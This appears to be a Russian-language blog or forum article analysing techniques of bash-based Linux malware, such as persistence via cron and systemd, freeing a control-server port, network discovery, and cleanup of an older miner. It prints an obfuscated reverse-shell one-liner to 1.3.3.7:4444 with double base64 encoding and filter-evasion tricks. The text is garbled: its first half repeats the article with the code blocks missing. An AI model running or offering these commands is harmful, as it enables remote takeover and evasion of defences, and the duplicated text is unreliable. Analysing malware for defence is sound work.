Всем привет,сегодня мы вновь коснёмся темы вирусов на bash, но в этот раз пройдёмся по теории. В этой статье я планирую обозреть частые приёмы/утилиты/конструкции, используемые при создании вирусов на Bash.
Утилиты
cron – Вирусы используют cron в качестве менеджера автозапуска, т.к. он по своей сути является планировщиком задач и при проверке системы, возможно, cron не будет проверен.
Chattr – эта утилита используется для блокировки файлов и упрощения жизни вирусу.
wget – если вы читали мою предыдущую статью по этой тематике, то вы знаете, что wget’ом очень удобно скачивать необходимые файлы.
Ulimit – если у вируса есть функционал майнера, он скорее всего должен увеличить количество возможных одновременно запущенных процессов на одного пользователя, это делается именно этой командой.
Mktemp - программа, предназначенная для создания временных файлов, но с аргументом -d создаёт временную папку, в которую преспокойно можно упрятать вирус.
Конструкции
netstat -antp | grep ':<номер порта>' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
Одна из очевиднейших нужд почти любого вируса – соединение с каким-либо управляющим сервером. Приведённая выше команда позволяет почистить все программы, которые занимают порт, необходимый для функционирования вируса.
Осуществляется вызов команды netstat с параметром -antp (-a: вывести всю информацию; -n: отображать ip-адрес вместо хостнейма; -t: отображать только tcp-соединения; -p: показывать id процесса.), вывод отправляется в grep для фильтрации по номеру порта, далее текст обрабатывается утилитой awk (вывести седьмой столбец (id процесса)) и sed (удаляет всё лишнее, оствляя только цифры), после чего работу заканчивает kill, закрывающий все процессы, ведь аргумент “-9” даёт ему неограниченные возможности.
random=$(seq 0 255 | sort -R | head -n1)
Необычный способ получения случайного значения. Судя по диапазону это должно было применяться для генерации случайного ip-адреса.
Команда начинается с объявления переменной рандом, значинем которой является вывод пайплайна, в котором комада seq создаёт числа 0-255 подряд, sort -R сортирует их в случайном порядке, после чего команда head -n1 забирает первое значение.
Эта конструкция применяется для того, чтобы выяснить префикс сети.
Построчно:
А вот эта конструкция применяется, по видимому, для очистки от старой версии вируса dbused (также известен, как “x86_64”). Давайте также разберём её по строкам:
Эта конструкция будет удостоена отдельного внимания, т.к. она, как я понял даёт контроль над системой за одну строчку. Спасибо, @Ondrik8 . Всё, что я могу сказать об этой команде, это то, что она принимает приходящие команды с файла tcp соединения и проводит их через base64. Дважды! Зачем? Честно говоря, мне нужна помощь)
Приёмы
Некоторые из рассмотренных мной отчётов содержали информацию о вирусах, которые скачивались, запускались и сразу же удалялись. Суть в том, что Linux не запрещает удалять файл, который в данный момент исполняется, т.к. копия сохраняется в кэш и продолжает выполняться. Это делается для усложнения обнаружения вируса.
Очевидный приём закрепления в системе, который я использовал в своей предыдущей статье – systemd. Вирус просто создаёт или скачивает юнит, кидает его в соответствующую папку и добавляет в автозапуск.
Ещё один способ спрятаться мы увидели в одном из сегодняших примеров. Вирус создавал временную директорию и прятался в ней. Достаточно эффективно, как мне кажется, хотя при должном понимании команд linux, можно узнать файлы, с которыми работает какой-либо процесс и просто снести файлы, но об этом как-нибудь потом.
Чаще всего вирусы под linux пишут не на bash. Он может использоваться как лоадер, остальная же часть вируса пишется на другом языке программирования. В основном это Python, Perl и Go.
Что ж, на данный момент это всё, что мне удалось найти по поводу вирусов на bash. Возможно это когда-то преобразутся в cheat sheet по bash-вирусам, а на данный момент это скорее заметка, нежели статья.
Вирусы на чистом bash – явление очень редкое, а потому материала по этому поводу не много. Если у кого-то есть свои/где-то найденные вирусы на чистом bash – пишите мне, разберём, если есть разборы подобных – также пишите.
Утилиты
cron – Вирусы используют cron в качестве менеджера автозапуска, т.к. он по своей сути является планировщиком задач и при проверке системы, возможно, cron не будет проверен.
Chattr – эта утилита используется для блокировки файлов и упрощения жизни вирусу.
wget – если вы читали мою предыдущую статью по этой тематике, то вы знаете, что wget’ом очень удобно скачивать необходимые файлы.
Ulimit – если у вируса есть функционал майнера, он скорее всего должен увеличить количество возможных одновременно запущенных процессов на одного пользователя, это делается именно этой командой.
Mktemp - программа, предназначенная для создания временных файлов, но с аргументом -d создаёт временную папку, в которую преспокойно можно упрятать вирус.
Конструкции
netstat -antp | grep ':<номер порта>' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
Одна из очевиднейших нужд почти любого вируса – соединение с каким-либо управляющим сервером. Приведённая выше команда позволяет почистить все программы, которые занимают порт, необходимый для функционирования вируса.
Осуществляется вызов команды netstat с параметром -antp (-a: вывести всю информацию; -n: отображать ip-адрес вместо хостнейма; -t: отображать только tcp-соединения; -p: показывать id процесса.), вывод отправляется в grep для фильтрации по номеру порта, далее текст обрабатывается утилитой awk (вывести седьмой столбец (id процесса)) и sed (удаляет всё лишнее, оствляя только цифры), после чего работу заканчивает kill, закрывающий все процессы, ведь аргумент “-9” даёт ему неограниченные возможности.
random=$(seq 0 255 | sort -R | head -n1)
Необычный способ получения случайного значения. Судя по диапазону это должно было применяться для генерации случайного ip-адреса.
Команда начинается с объявления переменной рандом, значинем которой является вывод пайплайна, в котором комада seq создаёт числа 0-255 подряд, sort -R сортирует их в случайном порядке, после чего команда head -n1 забирает первое значение.
Bash:
if [ -s /usr/bin/ifconfig ];
then
range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi
Эта конструкция применяется для того, чтобы выяснить префикс сети.
Построчно:
- Если файл /usr/bin/ifconfig существует и не является пустым (проверка на наличие утилиты ifconfig в системе)
- Тогда
- Переменная range равна (вызов ifconfig, сортировка по словам “BROADCAST или inet”, сортировка по совпадениям в строке и по регулярному выражению Perl, инвертирование вывода по inet6, инвертирование по 255 и извлечение первого значения)
- Иначе
- *То же, что и на строке 4, только на этот раз с командой ip a*
- Закрытие блока if
Bash:
if [ -a "/tmp/dbused" ]
then
if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
echo "x86_64 OK"
;;
*)
echo "x86_64 wrong"
rm -rf /usr/local/lib/libkk.so
echo "" > /etc/ld.so.preload
pkill -f wc.conf
pkill -f susss
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/tmp" ]
then
DIR="/tmp"
fi
echo "P NOT EXISTS"
fi
- Если существует файл /tmp/dbused
- Тогда
- Если есть права на запись в файл /tmp/based и это не директория
- Тогда
- Проверка, установлена ли программа md5sum и можно ли её запустить
- Тогда
- Переменная sum равна мд5 хеш-сумме файла /tmp/dbused. Для её получеия вывод команды md5sum провели через awk, где оставили только первую часть вывода
- Вывод переменной sum
- В случае, если sum равна одному из двух вариантов
- Вывести ‘x86_64 ok’
- Закрытие блока конструкции case
- Открытие блока default
- Вывести ‘x86_64 wrong’
- Удалить рекурсивно /usr/local/lib/libkk.so
- записать “” в файл /etc/ld.so.preload (очистить файл)
- Завершение процесса wc.conf
- Завершение процесса susss
- Ожидание 4 секунд
- Закрытие блока
- Закрытие конструкции case
- Закрытие if
- Вывод ‘P OK’
- Иначе
- Переменная DIR равна выводу команды mktemp -d и поддиректории ./tmp
- Создание поддиректории /tmp в только что созданном tmp
- Вывод ‘T DIR переменная DIR’
- Закрытие блока if
- Иначе
- Если /tmp это директория
- Тогда
- Переменная DIR равна /tmp
- Закрытие блока if
- Вывод ‘P NOT EXISTS’
- Закрытие блока if
Bash:
echo "echo $(echo 'bash -i >& /dev/tcp/1.3.3.7/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
Эта конструкция будет удостоена отдельного внимания, т.к. она, как я понял даёт контроль над системой за одну строчку. Спасибо, @Ondrik8 . Всё, что я могу сказать об этой команде, это то, что она принимает приходящие команды с файла tcp соединения и проводит их через base64. Дважды! Зачем? Честно говоря, мне нужна помощь)
Приёмы
Некоторые из рассмотренных мной отчётов содержали информацию о вирусах, которые скачивались, запускались и сразу же удалялись. Суть в том, что Linux не запрещает удалять файл, который в данный момент исполняется, т.к. копия сохраняется в кэш и продолжает выполняться. Это делается для усложнения обнаружения вируса.
Очевидный приём закрепления в системе, который я использовал в своей предыдущей статье – systemd. Вирус просто создаёт или скачивает юнит, кидает его в соответствующую папку и добавляет в автозапуск.
Ещё один способ спрятаться мы увидели в одном из сегодняших примеров. Вирус создавал временную директорию и прятался в ней. Достаточно эффективно, как мне кажется, хотя при должном понимании команд linux, можно узнать файлы, с которыми работает какой-либо процесс и просто снести файлы, но об этом как-нибудь потом.
Чаще всего вирусы под linux пишут не на bash. Он может использоваться как лоадер, остальная же часть вируса пишется на другом языке программирования. В основном это Python, Perl и Go.
Что ж, на данный момент это всё, что мне удалось найти по поводу вирусов на bash. Возможно это когда-то преобразутся в cheat sheet по bash-вирусам, а на данный момент это скорее заметка, нежели статья.
Вирусы на чистом bash – явление очень редкое, а потому материала по этому поводу не много. Если у кого-то есть свои/где-то найденные вирусы на чистом bash – пишите мне, разберём, если есть разборы подобных – также пишите.